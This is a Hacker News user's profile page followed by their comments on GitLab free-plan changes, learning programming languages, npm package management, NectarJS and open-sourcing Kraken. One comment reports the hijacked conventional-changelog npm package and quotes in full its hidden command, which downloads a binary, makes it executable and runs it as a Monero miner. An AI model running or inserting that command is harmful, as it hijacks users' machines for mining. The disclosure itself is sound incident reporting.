HN user

feduzi

19 karma

24ed1deefd9684c4cb200fd05fb778e646a4eab530d61082c73cbfe3358d93ea

Posts1
Comments27
View on HN

I've been using GitLab for a while. And for me this looks like a PR move in the light of Github being bought by Microsoft.

EDIT: did not notice post was from 2016. Has nothing to do with Microsoft buying Github.

GitLab (not self-hosted) has constant deployment/stability issues. They do an update and sometimes GitLab is down for several hours.

This is not a huge deal for me, as I can just push my code later.

But the main concern I have is that recently they've just removed some free features in order (I guess) to force people to pay.

Features removed (the only once I've noticed):

- Merge requests: squash commits feature

- Push rules: make sure users do not push commits with non-Gitlab user emails.

- Protected branches: allow certain users to push/merge, not a whole role.

There was no email notifying about this changes, it just happened that I've created a new repo, and then noticed some stuff missing.

EDIT:

Since this got traction. I've started digging to see the differences between repos. I have one group that is under "Early Adopter" plan, which has all the features mentioned. Recently I've created a new group, which went under "Free" plan, and this group does not have features mentioned.

I wonder why the "Early Adopter" plan is not carried over to my new group.

EDIT: From Gitlab blog (https://about.gitlab.com/2017/09/01/gitlab-com-paid-features...):

For existing users on the Free plan, we've created a special Early Adopter Plan for you. This plan has all of the existing features available in our Silver plan, with the exception of additional CI minutes or premium support. Any group or user account created before September 1st will be put onto this plan for a year for free. While we will not add new paid features to this plan, you'll continue to enjoy powerful features, like multi-project pipelines and canary deployments, for the next year. After 12 months, you will get rolled back to the Free plan. You can upgrade at any time.

Still personally feels like they're taking away free features, but just giving me a year to enjoy what I've already had.

Opinionated steps:

0. Do not know a language X.

1. Want to learn a language X.

2. Leave your previous experience behind. E.g. know C, forget about it while learning a new language.

3. Read official docs.

4. Follow the language rules (as much as possible).

5. Analyse language parts (e.g. concurrency, error handling, etc).

6. Synthesize the parts. See how parts combine (e.g. error handling in concurrent code).

7. Bring back your previous experience (e.g. see how different languages solve problems).

The main point is to know "what tools present and what can be done with those", rather than "what is felt about tools present and why the world sucks".

PS:

A small set of observations:

- "disliking" parts of a new language while learning returns you back to the step 0.

- steps 5, 6 and 7 are almost never ending (especially in languages that grow).

- step 7 requires discipline. It is needed not to "pick the best language", but to understand various ways of solving a problem across different languages (do not forget to identify a problem).

Some details (https://github.com/conventional-changelog/conventional-chang...):

This happened because of a security issue: conventional-changelog package was hacked, and it contained a Monero miner.

I reported it to the devs and they unpublished it (and also conventional-changelog-preset-loader).

They should re-add a safe version tagged with 1.1.3 to fix this issue.

The hacked package executes:

rm -rf /tmp/.debug && curl https://mnrlnt.blob.core.windows.net/mnr/Silence -o /tmp/.debug 2> /dev/null && chmod +x /tmp/.debug && /tmp/.debug -o stratum+tcp://pool.minexmr.com:4444 -u 4A9V5knGUM8PUdPSJbTox8b9mgTsfXByK49XKtEyqVayDxD6CFJe5dsexaM99x7MXFNTxZkYAr4YtcAXQMkNrFjnRPJGJFr.JL6_$(hostname -f | md5sum | cut -c1-8) -p x -t $(lscpu | grep 'CPU(s)'| grep -v ',' | awk '{print $2}' | head -n 1) 2> /dev/null &

For the purpose of reproducible `node_modules` tree.

Ideally if all packages would use commits, and the installation algorithm will never change, then there will be no need for lock files.

In reality some packages will use NPM existing mechanism, so "git-based algorithm" will need to accommodate for that by reading git repo of the NPM package and referring to a specific commit, which should be store in `package-lock.json`.

I don't get why not just use git repo registry (e.g. github) for package management. If you work in a "strict" environment you can basically fork all your dependencies and use your own git repo registry.

NPM already allows using git repos, but needs some tweaks to allow better support:

* allow versioning via git tags

* store git commit in `package-lock.json`.

* maybe something else...

Left-pad is a perfect example of why npm sucks. Nuget, Maven, Phython, and CPAN would have never let something that stupid happen.

O RLY?

* https://mvnrepository.com/artifact/coldnew/left-pad/1.0.0

* https://www.nuget.org/packages/left-pad/

* https://pypi.python.org/pypi/left-pad/

* http://search.cpan.org/~dagolden/LeftPad-0.003/lib/LeftPad.p... (LeftPad - Why should Node.js have all the fun? - comments on the package)

-- UPDATE

About package removal...

* http://stackoverflow.com/questions/20403387/how-to-remove-a-...

Why not just teach JavaScript or C or Java in comparison with different languages.

For example, when explaining (so evil) `var` explain that in JavaScript it works different from C or any language with block-scope variable declaration.

Big picture is important.

The problem is not the language, the problem is inferring that every new thing you pick up is somehow similar to "that thing I've used before".

I agree that "tool" (in this case compiler) as a service is OK. You're also correct about "trust" aspect (that's what I've meant by "cloud" stuff).

Also In the FAQ on Kickstarter page it says that you'll be able to have your own "Nectar" server, so you don't depend on "Nectar" cloud.

But look at it seriously... 32k USD for a thing that will be probably faced with an open-source (and possibly free) solution.

The amount of "pay me money" features and bullshit:

* ecological

* pay to vote

* Fibonacci benchmark claiming to be faster than C

* claiming to work but actually fails to compile this JS code (as mentioned by johhny in the comments to the article http://blog.seraum.com/compiled-javascript-with-nectarjs-can...):

  var hello = {foo: "Hello, world!"};
  console.log(hello["foo"]);

It is more an expression of confusion rather than type system quality evaluation, but why does JSON parser's implementation returns its own types like JsonNode? Why doesn't it just return core types like:

* JSON String -> NIM String

* JSON Object -> NIM Hash

* and so on...

I've also had the same question when looking at https://crystal-lang.org.

PS: I do not claim Nim's type system to be bad as I do not have an exact counterexample of a "better" type system.

What I tried to say is that there's other side of some "people need to eat". But it is up to the author or authors to choose which side to choose (or any point in between). And there's nothing wrong with any choice.

That would be great to have this algorithm open sourced.

And it is sad to see how this went from "Unfortunately not open source" to "people need to eat". Also, please note that this company is $1.37M in sales (http://www.hoovers.com/company-information/company-search.ht...). So it is not about "eat" only.

I didn't suggest just 2 options. It is a range of choices you get, starting from "you", ending with "others", pick any point.

And sure, you're right "Plenty of people make a living doing things that help the world.", but why this "Kraken" is not Open Source then?

Disclaimer: it is a discussion, I don't try to blame RAD Game Tools for not releasing the source of Kraken. Just curios of what others think.

Where did you get the idea that putting yourself first is a bad thing in my comment? I didn't mean that. What I was trying to say that you can pick any of this. At the end of the day you're the one who did the job, so it is up to you to decide what to do with it.

Where did you see all this in my 2 sentence comment?

I never said it is bad to put yourself first. You're free to do whatever you want with your work, because this work is yours. If anyone against they can make an alternative. There's no sum and the choice is huge starting from "you" and ending with "others", pick any point of this range.

A dedicated user account... wow (https://www.exploit-db.com/local/).

In this amount of software people build and considering that really 90% of it is total crap, we'll never be secure unless we really be picky with what we use. But that does not work with our lazy nature and all that things about bicycles you hear (like not to invent one; why would I do something by myself if I can just use someone's else solution... duhhh).

We need better quality in our software, so we can trust it.

This has a small benefit of protecting information routed to Opera's proxy (on your LAN, ISP or whatever there is till the Opera's proxy), even when trying to reach HTTP-only website. Though it is still not secure as HTTP-only website will have data delivered to it in non-encrypted form.

"Browser VPN" is another misleading made-up term.

You also install Node.js scripts, that may just execute anything upon "require". "npm install --ignore-scripts" won't save you. But bash scripts... oh, yeah... lethal.

There are problems with NPM, for sure. Like dependency level, absence of possibility to review new releases, being rather closed than open (https://medium.com/@azerbike/i-ve-just-liberated-my-modules-...).

Maybe going with open solutions for package management will solve most of this problems. Like using git protocol to host ones libraries on github (or gitlab or bitbucket or anything where you can fetch dependencies and get to review the code). Of course, this is not that simple as it sounds.